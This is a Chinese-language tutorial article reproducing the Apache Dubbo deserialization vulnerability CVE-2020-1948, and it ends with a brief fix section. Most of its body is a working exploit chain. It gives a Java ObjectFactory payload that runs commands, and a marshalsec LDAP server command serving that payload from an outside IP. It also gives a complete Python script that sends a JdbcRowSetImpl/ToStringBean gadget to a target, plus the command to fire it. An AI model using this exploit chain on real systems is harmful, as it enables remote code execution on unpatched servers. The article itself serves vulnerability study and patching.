溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

怎么進(jìn)行Apache Dubbo反序列化漏洞的分析

發(fā)布時(shí)間:2022-01-18 16:21:18 來(lái)源:億速云 閱讀:290 作者:柒染 欄目:網(wǎng)絡(luò)安全

怎么進(jìn)行Apache Dubbo反序列化漏洞的分析,相信很多沒(méi)有經(jīng)驗(yàn)的人對(duì)此束手無(wú)策,為此本文總結(jié)了問(wèn)題出現(xiàn)的原因和解決方法,通過(guò)這篇文章希望你能解決這個(gè)問(wèn)題。

簡(jiǎn)介

Dubbo是阿里巴巴公司開(kāi)源的一個(gè)高性能優(yōu)秀的服務(wù)框架,使得應(yīng)用可通過(guò)高性能的RPC實(shí)現(xiàn)服務(wù)的輸出和輸入功能,可以和Spring框架無(wú)縫集成。它提供了三大核心能力:面向接口的遠(yuǎn)程方法調(diào)用,智能容錯(cuò)和負(fù)載均衡,以及服務(wù)自動(dòng)注冊(cè)和發(fā)現(xiàn)。

概述

2020年06月23日, Apache Dubbo 官方發(fā)布了Apache Dubbo 遠(yuǎn)程代碼執(zhí)行的風(fēng)險(xiǎn)通告,該漏洞編號(hào)為CVE-2020-1948,漏洞等級(jí):高危。 Apache Dubbo是一款高性能、輕量級(jí)的開(kāi)源Java RPC框架,它提供了三大核心能力:面向接口的遠(yuǎn)程方法調(diào)用,智能容錯(cuò)和負(fù)載均衡,以及服務(wù)自動(dòng)注冊(cè)和發(fā)現(xiàn)。 Apache Dubbo Provider存在反序列化漏洞,攻擊者可以通過(guò)RPC請(qǐng)求發(fā)送無(wú)法識(shí)別的服務(wù)名稱或方法名稱以及一些惡意參數(shù)有效載荷,當(dāng)惡意參數(shù)被反序列化時(shí),可以造成遠(yuǎn)程代碼執(zhí)行。

影響版本

Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (官方不再維護(hù))

環(huán)境搭建

運(yùn)行環(huán)境與編譯exp環(huán)境jdk版本均為8u121,啟動(dòng)測(cè)試環(huán)境

java -jar dubbo.jar


啟動(dòng)后會(huì)監(jiān)聽(tīng)12345端口

漏洞復(fù)現(xiàn)

服務(wù)指紋:


PORT      STATE SERVICE VERSION12345/tcp opentextui  Alibaba Dubbo remoting telnetd

構(gòu)造poc,我們這里執(zhí)行一個(gè)ping命令來(lái)驗(yàn)證是否可以執(zhí)行命令,新建calc.java,

importjavax.naming.Context;
importjavax.naming.Name;
importjavax.naming.spi.ObjectFactory;
importjava.util.Hashtable;
publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");
returnnull;
}}


編譯poc

javac calc.java


將編譯好的poc(calc.class)放到web網(wǎng)站目錄里,確保漏洞主機(jī)可以訪問(wèn)到 使用marshalsec項(xiàng)目啟動(dòng)一個(gè)ldap代理服務(wù),marshalsec下載:

https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar


啟動(dòng)LDAP代理服務(wù),執(zhí)行該命令ldap服務(wù)會(huì)監(jiān)聽(tīng)8086端口


 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086


執(zhí)行測(cè)試腳本,此處測(cè)試使用python環(huán)境為3.8.0,先安裝依賴包

python3 -m pip install dubbo-py


腳本內(nèi)容(Dubbo.py):

# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl  )resp =client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此處可以是 $invoke、$invokeSync、$echo 等,通殺 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output =str(resp)if'Fail to decode request due to: RpcInvocation'inoutput:print('[!] Target maybe not support deserialization.')elif'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()'inoutput:print('[+] Succeed.')else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.')


執(zhí)行腳本

python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc


怎么進(jìn)行Apache Dubbo反序列化漏洞的分析dnslog查看,成功接收到請(qǐng)求怎么進(jìn)行Apache Dubbo反序列化漏洞的分析

ldap服務(wù)也可以看到請(qǐng)求轉(zhuǎn)發(fā)怎么進(jìn)行Apache Dubbo反序列化漏洞的分析

彈計(jì)算器

import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;  public class calc implements ObjectFactory {      @Override     public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {        Runtime.getRuntime().exec("calc");        return null;    } }

漏洞修復(fù)

升級(jí) 2.7.7 版本,并根據(jù)以下鏈接的方法進(jìn)行參數(shù)校驗(yàn)

https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de

更換協(xié)議以及反序列化方式。

看完上述內(nèi)容,你們掌握怎么進(jìn)行Apache Dubbo反序列化漏洞的分析的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注億速云行業(yè)資訊頻道,感謝各位的閱讀!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI